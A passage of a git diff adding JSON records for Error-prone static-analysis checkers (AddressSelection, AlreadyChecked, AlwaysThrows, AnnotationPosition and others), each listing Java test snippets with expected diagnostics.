com.sun.tools.javac.code.Symbol.ClassSymbol;\n\n class Test {\n void f(ClassSymbol s) {\n getEnclosedElements(s);\n }\n }" + }, + { + "description": "selfMatch", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "package com.google.errorprone.util;\n\n import com.sun.tools.javac.code.Symbol;\n\n public final class ASTHelpers {\n public static boolean isStatic(Symbol symbol) {\n return symbol.isStatic();\n }\n }" + }, + { + "description": "symbolOwnerEnclClass", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import com.sun.tools.javac.code.Symbol.ClassSymbol;\n\n class Test {\n void f(ClassSymbol symbol) {\n ClassSymbol enclosing = symbol.owner.enclClass();\n }\n }\n \n\n import static com.google.errorprone.util.ASTHelpers.enclosingClass;\n import com.sun.tools.javac.code.Symbol.ClassSymbol;\n\n class Test {\n void f(ClassSymbol symbol) {\n ClassSymbol enclosing = enclosingClass(symbol);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AddressSelection.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AddressSelection.json new file mode 100644 index 0000000..55f040d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AddressSelection.json @@ -0,0 +1,54 @@ +{ + "name": "AddressSelection", + "language": "java", + "description": "Prefer InetAddress.getAllByName to APIs that convert a hostname to a single IP address", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 116, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.net.InetAddress;\n import java.net.InetSocketAddress;\n import java.net.Socket;\n\n class Test {\n void f() throws Exception {\n // BUG: Diagnostic contains:\n InetAddress.getByName(\"example.com\");\n // BUG: Diagnostic contains:\n new Socket(\"example.com\", 80);\n // BUG: Diagnostic contains:\n new InetSocketAddress(\"example.com\", 80);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "import java.net.InetAddress;\n import java.net.InetSocketAddress;\n import java.net.Socket;\n\n class Test {\n void f() throws Exception {\n new Socket(InetAddress.getLoopbackAddress(), 80);\n InetAddress.getAllByName(\"example.com\");\n new InetSocketAddress(InetAddress.getLoopbackAddress(), 80);\n }\n }" + }, + { + "description": "negativeLocalhost", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import java.net.InetAddress;\n import java.net.InetSocketAddress;\n import java.net.Socket;\n\n class Test {\n void f() throws Exception {\n new Socket(\"localhost\", 80);\n InetAddress.getByName(\"localhost\");\n new InetSocketAddress(\"localhost\", 80);\n }\n }" + }, + { + "description": "negativeNumeric", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import java.net.InetAddress;\n import java.net.InetSocketAddress;\n import java.net.Socket;\n\n class Test {\n void f() throws Exception {\n new Socket(\"1.2.3.4\", 80);\n InetAddress.getByName(\"2001:db8:85a3:8d3:1319:8a2e:370:7348\");\n new InetSocketAddress(\"::ffff:192.0.2.128\", 80);\n }\n }" + }, + { + "description": "refactor", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import java.net.InetAddress;\n import java.net.InetSocketAddress;\n import java.net.Socket;\n\n class Test {\n void f() throws Exception {\n new Socket(\"127.0.0.1\", 80);\n InetAddress.getByName(\"127.0.0.1\");\n new InetSocketAddress(\"127.0.0.1\", 80);\n new Socket(\"::1\", 80);\n InetAddress.getByName(\"::1\");\n new InetSocketAddress(\"::1\", 80);\n }\n }\n \n\n import java.net.InetAddress;\n import java.net.InetSocketAddress;\n import java.net.Socket;\n\n class Test {\n void f() throws Exception {\n new Socket(InetAddress.getLoopbackAddress(), 80);\n InetAddress.getLoopbackAddress();\n new InetSocketAddress(InetAddress.getLoopbackAddress(), 80);\n new Socket(InetAddress.getLoopbackAddress(), 80);\n InetAddress.getLoopbackAddress();\n new InetSocketAddress(InetAddress.getLoopbackAddress(), 80);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlreadyChecked.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlreadyChecked.json new file mode 100644 index 0000000..db16f36 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlreadyChecked.json @@ -0,0 +1,246 @@ +{ + "name": "AlreadyChecked", + "language": "java", + "description": "This condition has already been checked.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 214, + "branches": 15, + "apis": 5, + "test": [ + { + "description": "elseChecksSameVariable", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n public void test(boolean a) {\n if (a) {\n // BUG: Diagnostic contains: false\n } else if (a) {\n }\n }\n }" + }, + { + "description": "thisAndThat", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n public void test(boolean a, boolean b) {\n if (a && b) {\n } else if (a) {\n } else if (b) {\n }\n }\n }" + }, + { + "description": "guardBlock", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "class Test {\n public void test(boolean a) {\n if (a) {\n return;\n }\n // BUG: Diagnostic contains: false\n if (a) {}\n }\n }" + }, + { + "description": "guardBlock_returnFromElse", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "class Test {\n public void test(boolean a) {\n if (!a) {\n } else {\n return;\n }\n // BUG: Diagnostic contains: false\n if (a) {}\n }\n }" + }, + { + "description": "withinLambda", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.stream.Stream;\n\n class Test {\n public Stream test(Stream xs, String x) {\n if (x.isEmpty()) {\n return Stream.empty();\n }\n return xs.filter(\n // BUG: Diagnostic contains: x.isEmpty()\n y -> x.isEmpty() || y.equals(x));\n }\n }" + }, + { + "description": "checkedInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private final ImmutableList foos = null;\n\n public boolean a() {\n if (foos.isEmpty()) {\n return true;\n }\n return false;\n }\n\n public boolean b() {\n return foos.isEmpty();\n }\n }" + }, + { + "description": "checkedInLambdaAndAfter", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private final ImmutableList foos = null;\n\n public boolean a() {\n ImmutableList.of().stream().anyMatch(x -> true);\n if (foos.isEmpty()) {\n return true;\n }\n // BUG: Diagnostic contains:\n return foos.isEmpty();\n }\n }" + }, + { + "description": "sameVariableCheckedTwice", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "class Test {\n public void test(boolean a) {\n if (a) {\n // BUG: Diagnostic contains: true\n if (a) {}\n }\n }\n }" + }, + { + "description": "sameVariableCheckedThrice", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "class Test {\n public void test(boolean a) {\n if (a) {\n // BUG: Diagnostic contains: true\n if (a) {}\n // BUG: Diagnostic contains: true\n if (a) {}\n }\n }\n }" + }, + { + "description": "sameVariableCheckedTwice_negated", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "class Test {\n public void test(boolean a) {\n if (a) {\n // BUG: Diagnostic contains: true\n if (!a) {}\n }\n }\n }" + }, + { + "description": "sameVariableCheckedTwice_atTopLevel", + "expected-problems": null, + "expected-linenumbers": [ + 233 + ], + "code": "class Test {\n public void test(boolean a) {\n if (a) {}\n if (a) {}\n }\n }" + }, + { + "description": "sameVariableCheckedTwice_asPartOfAnd", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "class Test {\n public void test(boolean a, boolean b, boolean c) {\n if (a && b) {\n // BUG: Diagnostic contains: true\n if (a && c) {}\n }\n }\n }" + }, + { + "description": "sameVariableCheckedTwice_butOuterIfNotSimple", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "class Test {\n public void test(boolean a, boolean b, boolean c) {\n if ((a && b) || b) {\n if (a && c) {}\n }\n }\n }" + }, + { + "description": "complexExpression", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "class Test {\n public void test(boolean a, boolean b, boolean c) {\n if (!a || (b && c)) {\n } else if (b) {\n }\n }\n }" + }, + { + "description": "notFinal_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "class Test {\n public void test(boolean a) {\n a = true;\n if (a) {\n } else if (a) {\n }\n }\n }" + }, + { + "description": "ternaryWithinIf", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "class Test {\n public int test(boolean a) {\n if (a) {\n // BUG: Diagnostic contains: true\n return a ? 1 : 2;\n }\n return 0;\n }\n }" + }, + { + "description": "equalsCheckedTwice", + "expected-problems": null, + "expected-linenumbers": [ + 338 + ], + "code": "class Test {\n public int test(String a) {\n if (a.equals(\"a\")) {\n // BUG: Diagnostic contains: true\n return a.equals(\"a\") ? 1 : 2;\n }\n return 0;\n }\n }" + }, + { + "description": "equalsCheckedTwice_comparedToDifferentConstant", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "class Test {\n public int test(String a) {\n if (a.equals(\"b\")) {\n return a.equals(\"a\") ? 1 : 2;\n }\n return 0;\n }\n }" + }, + { + "description": "comparedUsingBinaryEquals", + "expected-problems": null, + "expected-linenumbers": [ + 375 + ], + "code": "class Test {\n public int test(int a, int b) {\n if (a == 1) {\n if (a == b) {\n return 3;\n }\n // BUG: Diagnostic contains:\n return a != 1 ? 1 : 2;\n }\n return 0;\n }\n }" + }, + { + "description": "checkedTwiceWithinTernary", + "expected-problems": null, + "expected-linenumbers": [ + 397 + ], + "code": "class Test {\n public int test(int a) {\n // BUG: Diagnostic contains:\n return a == 1 ? (a == 1 ? 1 : 2) : 2;\n }\n }" + }, + { + "description": "durationsComparedUsingFactoryMethods", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "import java.time.Duration;\n\n class Test {\n public void test(Duration a, Duration b) {\n if (a.equals(Duration.ofSeconds(1))) {\n if (a.equals(Duration.ofSeconds(2))) {}\n // BUG: Diagnostic contains:\n if (a.equals(Duration.ofSeconds(1))) {}\n }\n }\n }" + }, + { + "description": "durationsComparedUsingFactoryMethods_withDifferentImport", + "expected-problems": null, + "expected-linenumbers": [ + 434 + ], + "code": "import static java.time.Duration.ofSeconds;\n import java.time.Duration;\n\n class Test {\n public void test(Duration a, Duration b) {\n if (a.equals(Duration.ofSeconds(1))) {\n if (a.equals(Duration.ofSeconds(2))) {}\n // BUG: Diagnostic contains:\n if (a.equals(ofSeconds(1))) {}\n // BUG: Diagnostic contains:\n if (a.equals(java.time.Duration.ofSeconds(1))) {}\n }\n }\n }" + }, + { + "description": "autoValues", + "expected-problems": null, + "expected-linenumbers": [ + 458 + ], + "code": "import com.google.auto.value.AutoValue;\n\n class Test {\n public void test(Foo a, Foo b) {\n if (a.bar().equals(\"foo\") && a.bar().equals(b.bar())) {\n // BUG: Diagnostic contains:\n if (a.bar().equals(\"foo\")) {}\n // BUG: Diagnostic contains:\n if (a.bar().equals(b.bar())) {}\n }\n }\n\n @AutoValue\n abstract static class Foo {\n abstract String bar();\n }\n }" + }, + { + "description": "autoValue_withEnum", + "expected-problems": null, + "expected-linenumbers": [ + 485 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n public void test(Foo a, Foo b) {\n if (a.bar().equals(E.A)) {\n // BUG: Diagnostic contains:\n if (a.bar().equals(E.A)) {}\n }\n }\n\n @AutoValue\n abstract static class Foo {\n abstract E bar();\n }\n\n @Immutable\n private enum E {\n A\n }\n }" + }, + { + "description": "fieldCheckedTwice", + "expected-problems": null, + "expected-linenumbers": [ + 516 + ], + "code": "import com.google.auto.value.AutoValue;\n\n class Test {\n private final String a = \"foo\";\n\n public void test(String a) {\n if (this.a.equals(a)) {\n // BUG: Diagnostic contains:\n if (this.a.equals(a)) {}\n }\n }\n }" + }, + { + "description": "knownQuantityPassedToMethod", + "expected-problems": null, + "expected-linenumbers": [ + 538 + ], + "code": "import com.google.auto.value.AutoValue;\n\n class Test {\n void test(boolean a) {\n if (a) {\n set(a);\n }\n }\n\n void set(boolean a) {}\n }" + }, + { + "description": "equalsCalledTwiceOnMutableType_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 559 + ], + "code": "import java.util.List;\n\n class Test {\n private final List xs = null;\n\n public boolean e(List ys) {\n if (xs.equals(ys)) {\n return true;\n }\n return xs.equals(ys);\n }\n }" + }, + { + "description": "i3914", + "expected-problems": null, + "expected-linenumbers": [ + 581 + ], + "code": "import java.util.List;\n\n class Test {\n void test(boolean a, boolean b) {\n if (a && b) return;\n if (a) {\n } else if (b) {\n }\n }\n }" + }, + { + "description": "b312047923", + "expected-problems": null, + "expected-linenumbers": [ + 601 + ], + "code": "class Test {\n void test() {\n boolean a = true;\n loop:\n while (true) {\n if (false && a) {\n a = false;\n } else {\n }\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlwaysThrows.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlwaysThrows.json new file mode 100644 index 0000000..52af2db --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlwaysThrows.json @@ -0,0 +1,94 @@ +{ + "name": "AlwaysThrows", + "language": "java", + "description": "Detects calls that will fail at runtime", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 227, + "branches": 20, + "apis": 8, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.time.Instant;\n\n class T {\n void f() {\n // BUG: Diagnostic contains: will fail at runtime with a DateTimeParseException\n Instant.parse(\"2007-12-3T10:15:30.00Z\");\n }\n }" + }, + { + "description": "immutableMapThrows", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import com.google.common.collect.ImmutableMap;\n\n class Test {\n private static final ImmutableMap xs =\n ImmutableMap.builder()\n .put(1, 1)\n // BUG: Diagnostic contains:\n .put(1, 2)\n .buildOrThrow();\n }" + }, + { + "description": "immutableBiMapThrows", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "import com.google.common.collect.ImmutableBiMap;\n\n class Test {\n private static final ImmutableBiMap xs =\n ImmutableBiMap.builder()\n .put(1, 1)\n // BUG: Diagnostic contains:\n .put(2, 1)\n .buildOrThrow();\n }" + }, + { + "description": "immutableMapDoesNotThrow", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "import com.google.common.collect.ImmutableMap;\n\n class Test {\n private static final ImmutableMap xs =\n ImmutableMap.builder().put(1, 1).put(2, 2).buildOrThrow();\n }" + }, + { + "description": "immutableMapOfThrows", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import com.google.common.collect.ImmutableMap;\n\n class Test {\n private static final ImmutableMap xs =\n // BUG: Diagnostic contains:\n ImmutableMap.of(1, 1, 1, 2);\n }" + }, + { + "description": "immutableMapOfThrowsWithEnums", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import com.google.common.collect.ImmutableMap;\n\n class Test {\n private enum E {\n A,\n B\n }\n\n private static final ImmutableMap xs =\n // BUG: Diagnostic contains:\n ImmutableMap.of(E.A, 1, E.A, 2);\n }" + }, + { + "description": "immutableBiMapOfThrowsWithEnums", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "import com.google.common.collect.ImmutableMap;\n\n class Test {\n private enum E {\n A,\n B\n }\n\n private static final ImmutableMap xs =\n // BUG: Diagnostic contains:\n ImmutableMap.of(E.A, 1, E.A, 2);\n }" + }, + { + "description": "immutableMapOfThrowsWithRepeatedFinalVariable", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import com.google.common.collect.ImmutableBiMap;\n\n class Test {\n ImmutableBiMap map(String s) {\n // BUG: Diagnostic contains:\n return ImmutableBiMap.of(s, 1, s, 2);\n }\n\n ImmutableBiMap values(String s) {\n // BUG: Diagnostic contains:\n return ImmutableBiMap.of(1, s, 2, s);\n }\n }" + }, + { + "description": "immutableMapWithComplexKeys", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import java.time.Duration;\n\n class Test {\n private static final ImmutableMap xs =\n // BUG: Diagnostic contains: Duration.ofMillis(1)\n ImmutableMap.of(Duration.ofMillis(1), 1, Duration.ofMillis(1), 2);\n }" + }, + { + "description": "uuidFromString", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "import java.util.UUID;\n\n class Test {\n // BUG: Diagnostic contains:\n private final UUID uuid = UUID.fromString(\"foo\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AmbiguousMethodReference.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AmbiguousMethodReference.json new file mode 100644 index 0000000..09c8a05 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AmbiguousMethodReference.json @@ -0,0 +1,86 @@ +{ + "name": "AmbiguousMethodReference", + "language": "java", + "description": "Method reference is ambiguous", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n // BUG: Diagnostic contains: c(A, D)\n B c(D d) {\n return null;\n }\n\n static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "moreThan1PublicMethod", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n // BUG: Diagnostic contains: c(A, D)\n public B c(D d) {\n return null;\n }\n\n public static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "suppressedAtClass", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "@SuppressWarnings(\"AmbiguousMethodReference\")\n public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n B c(D d) {\n return null;\n }\n\n static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "suppressedAtMethod", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n @SuppressWarnings(\"AmbiguousMethodReference\")\n B c(D d) {\n return null;\n }\n\n // BUG: Diagnostic contains: c(D)\n static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "suppressedAtBothMethods", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n @SuppressWarnings(\"AmbiguousMethodReference\")\n B c(D d) {\n return null;\n }\n\n @SuppressWarnings(\"AmbiguousMethodReference\")\n static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "negativeDifferentNames", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n B c(D d) {\n return null;\n }\n\n static B d(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "negativePrivateMethods", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n private B c(D d) {\n return null;\n }\n\n private static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "only1PublicMethod", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "public class A {\n interface B {}\n\n interface C {}\n\n interface D {}\n\n private B c(D d) {\n return null;\n }\n\n public static B c(A a, D d) {\n return null;\n }\n }" + }, + { + "description": "negativeStatic", + "expected-problems": null, + "expected-linenumbers": [ + 238 + ], + "code": "public interface B {\n static B f() {\n return null;\n }\n }\n \n\n public abstract class A implements B {\n public static A f() {\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationMirrorToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationMirrorToString.json new file mode 100644 index 0000000..672ecbe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationMirrorToString.json @@ -0,0 +1,22 @@ +{ + "name": "AnnotationMirrorToString", + "language": "java", + "description": "AnnotationMirror#toString doesn't use fully qualified type names, prefer auto-common's AnnotationMirrors#toString", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import javax.lang.model.element.AnnotationMirror;\n\n class Test {\n String f(AnnotationMirror av) {\n return av.toString();\n }\n }\n \n\n import com.google.auto.common.AnnotationMirrors;\n import javax.lang.model.element.AnnotationMirror;\n\n class Test {\n String f(AnnotationMirror av) {\n return AnnotationMirrors.toString(av);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationPosition.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationPosition.json new file mode 100644 index 0000000..0a9f159 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationPosition.json @@ -0,0 +1,262 @@ +{ + "name": "AnnotationPosition", + "language": "java", + "description": "Annotations should be positioned after Javadocs, but before modifiers.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 307, + "branches": 35, + "apis": 4, + "test": [ + { + "description": "nonTypeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "interface Test {\n public @Override boolean equals(Object o);\n }\n \n\n interface Test {\n @Override\n public boolean equals(Object o);\n }" + }, + { + "description": "interspersedJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "interface Test {\n @NonTypeUse\n /** Javadoc! */\n public void foo();\n }\n \n\n interface Test {\n /** Javadoc! */\n @NonTypeUse\n public void foo();\n }" + }, + { + "description": "interspersedJavadoc_treeAlreadyHasJavadoc_noSuggestion", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "interface Test {\n /** Actually Javadoc. */\n @NonTypeUse\n /** Javadoc! */\n public void foo();\n }" + }, + { + "description": "interspersedJavadoc_withComment", + "expected-problems": null, + "expected-linenumbers": [ + 156 + ], + "code": "interface Test {\n @NonTypeUse\n /** Javadoc! */\n // TODO: fix\n public void foo();\n }\n \n\n interface Test {\n /** Javadoc! */\n @NonTypeUse\n // TODO: fix\n public void foo();\n }" + }, + { + "description": "negatives", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "interface Test {\n /** Javadoc */\n @NonTypeUse\n public boolean foo();\n\n @NonTypeUse\n public boolean bar();\n\n public @EitherUse boolean baz();\n\n /** Javadoc */\n @NonTypeUse\n // comment\n public boolean quux();\n }" + }, + { + "description": "negative_parameter", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "interface Test {\n public boolean foo(final @NonTypeUse String s);\n }\n \n\n interface Test {\n public boolean foo(@NonTypeUse final String s);\n }" + }, + { + "description": "typeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "interface Test {\n /** Javadoc */\n public @NonTypeUse @EitherUse String foo();\n\n /** Javadoc */\n public @EitherUse @NonTypeUse String bar();\n\n public @EitherUse\n /** Javadoc */\n @NonTypeUse String baz();\n\n public @EitherUse static @NonTypeUse int quux() {\n return 1;\n }\n }\n \n\n interface Test {\n /** Javadoc */\n @NonTypeUse\n public @EitherUse String foo();\n\n /** Javadoc */\n @NonTypeUse\n public @EitherUse String bar();\n\n /** Javadoc */\n @NonTypeUse\n public @EitherUse String baz();\n\n @NonTypeUse\n public static @EitherUse int quux() {\n return 1;\n }\n }" + }, + { + "description": "variables", + "expected-problems": null, + "expected-linenumbers": [ + 275 + ], + "code": "interface Test {\n public @EitherUse static\n /** Javadoc */\n @NonTypeUse int foo = 1;\n }\n \n\n interface Test {\n /** Javadoc */\n @NonTypeUse public static @EitherUse int foo = 1;\n }" + }, + { + "description": "classes", + "expected-problems": null, + "expected-linenumbers": [ + 298 + ], + "code": "public @NonTypeUse interface Test {}\n \n\n @NonTypeUse\n public interface Test {}" + }, + { + "description": "class_typeUseBeforeModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "@EitherUse\n public interface Test {}" + }, + { + "description": "class_intermingledJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 330 + ], + "code": "@NonTypeUse\n public\n /** Javadoc */\n final class Test {}\n \n\n /** Javadoc */\n @NonTypeUse\n public final class Test {}" + }, + { + "description": "betweenModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "interface Test {\n public @EitherUse static @NonTypeUse int foo() {\n return 1;\n }\n\n public @EitherUse @NonTypeUse static int bar() {\n return 1;\n }\n }\n \n\n interface Test {\n @NonTypeUse\n public static @EitherUse int foo() {\n return 1;\n }\n\n @NonTypeUse\n public static @EitherUse int bar() {\n return 1;\n }\n }" + }, + { + "description": "betweenModifiersWithValue", + "expected-problems": null, + "expected-linenumbers": [ + 385 + ], + "code": "class Test {\n public final @EitherUse(\"foo\") int foo(final int a) {\n return 1;\n }\n }\n \n\n class Test {\n public final @EitherUse(\"foo\") int foo(final int a) {\n return 1;\n }\n }" + }, + { + "description": "interspersedComments", + "expected-problems": null, + "expected-linenumbers": [ + 409 + ], + "code": "interface Test {\n public @EitherUse\n /** Javadoc */\n @NonTypeUse String baz();\n\n /* a */ public /* b */ @EitherUse /* c */ static /* d */ @NonTypeUse /* e */ int quux() {\n return 1;\n }\n}\n\n\n interface Test {\n /** Javadoc */\n @NonTypeUse\n public @EitherUse String baz();\n\n /* a */ @NonTypeUse\n public /* b */ /* c */ static @EitherUse /* d */ /* e */ int quux() {\n return 1;\n }\n }" + }, + { + "description": "messages", + "expected-problems": null, + "expected-linenumbers": [ + 442 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: @Override is not a TYPE_USE annotation\n public @Override boolean equals(Object o);\n\n // BUG: Diagnostic contains: @Override, @NonTypeUse are not TYPE_USE annotations\n public @Override @NonTypeUse int hashCode();\n\n @NonTypeUse\n /** Javadoc */\n // BUG: Diagnostic contains: Javadocs should appear before any modifiers\n public boolean bar();\n }" + }, + { + "description": "diagnostic", + "expected-problems": null, + "expected-linenumbers": [ + 464 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: is a TYPE_USE\n public @EitherUse static int foo = 1;\n }" + }, + { + "description": "sealedInterface", + "expected-problems": null, + "expected-linenumbers": [ + 479 + ], + "code": "/** Javadoc! */\n sealed @Deprecated interface Test {\n final class A implements Test {}\n }\n \n\n /** Javadoc! */\n sealed @Deprecated interface Test {\n final class A implements Test {}\n }" + }, + { + "description": "typeArgument_annotationOfEitherUse_canRemainBefore", + "expected-problems": null, + "expected-linenumbers": [ + 502 + ], + "code": "interface T {\n @EitherUse\n T f();\n }\n \n\n interface T {\n @EitherUse\n T f();\n }" + }, + { + "description": "typeArgument_typeUseAnnotation_movesAfter", + "expected-problems": null, + "expected-linenumbers": [ + 524 + ], + "code": "interface T {\n @TypeUse\n T f();\n }\n \n\n interface T {\n @TypeUse T f();\n }" + }, + { + "description": "genericsWithBounds", + "expected-problems": null, + "expected-linenumbers": [ + 545 + ], + "code": "import java.util.List;\n\n interface T {\n @TypeUse\n > T f();\n }\n \n\n import java.util.List;\n\n interface T {\n > @TypeUse T f();\n }" + }, + { + "description": "typeUseAndNonTypeUse_inWrongOrder", + "expected-problems": null, + "expected-linenumbers": [ + 570 + ], + "code": "interface T {\n @TypeUse\n @NonTypeUse\n T f();\n }\n \n\n interface T {\n @NonTypeUse\n @TypeUse\n T f();\n }" + }, + { + "description": "annotationOfEitherUse_isAllowedToRemainBeforeModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 594 + ], + "code": "interface T {\n @NonTypeUse\n @EitherUse\n public T a();\n\n @NonTypeUse\n public @EitherUse T b();\n }" + }, + { + "description": "constructor", + "expected-problems": null, + "expected-linenumbers": [ + 613 + ], + "code": "import javax.inject.Inject;\n\n class T {\n @Inject\n T(int x) {}\n\n @Inject\n T() {\n System.err.println();\n }\n }" + }, + { + "description": "parameters_withAnnotationsOutOfOrder", + "expected-problems": null, + "expected-linenumbers": [ + 635 + ], + "code": "class T {\n Object foo(@TypeUse @NonTypeUse Object a) {\n return null;\n }\n }\n \n\n class T {\n Object foo(@NonTypeUse @TypeUse Object a) {\n return null;\n }\n }" + }, + { + "description": "parameters_withInterspersedModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 659 + ], + "code": "class T {\n Object foo(@TypeUse final Object a) {\n return null;\n }\n }\n \n\n class T {\n Object foo(final @TypeUse Object a) {\n return null;\n }\n }" + }, + { + "description": "varKeyword", + "expected-problems": null, + "expected-linenumbers": [ + 683 + ], + "code": "import com.google.errorprone.annotations.Var;\n\n class T {\n void m() {\n @Var var x = 1;\n x = 2;\n }\n }" + }, + { + "description": "recordAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 702 + ], + "code": "public record Test(String bar) {\n @SuppressWarnings(\"unused\")\n public Test {}\n }" + }, + { + "description": "interspersedJavadoc_enum", + "expected-problems": null, + "expected-linenumbers": [ + 717 + ], + "code": "enum Test {\n @NonTypeUse\n /** Javadoc! */\n ONE;\n }\n \n\n enum Test {\n /** Javadoc! */\n @NonTypeUse\n 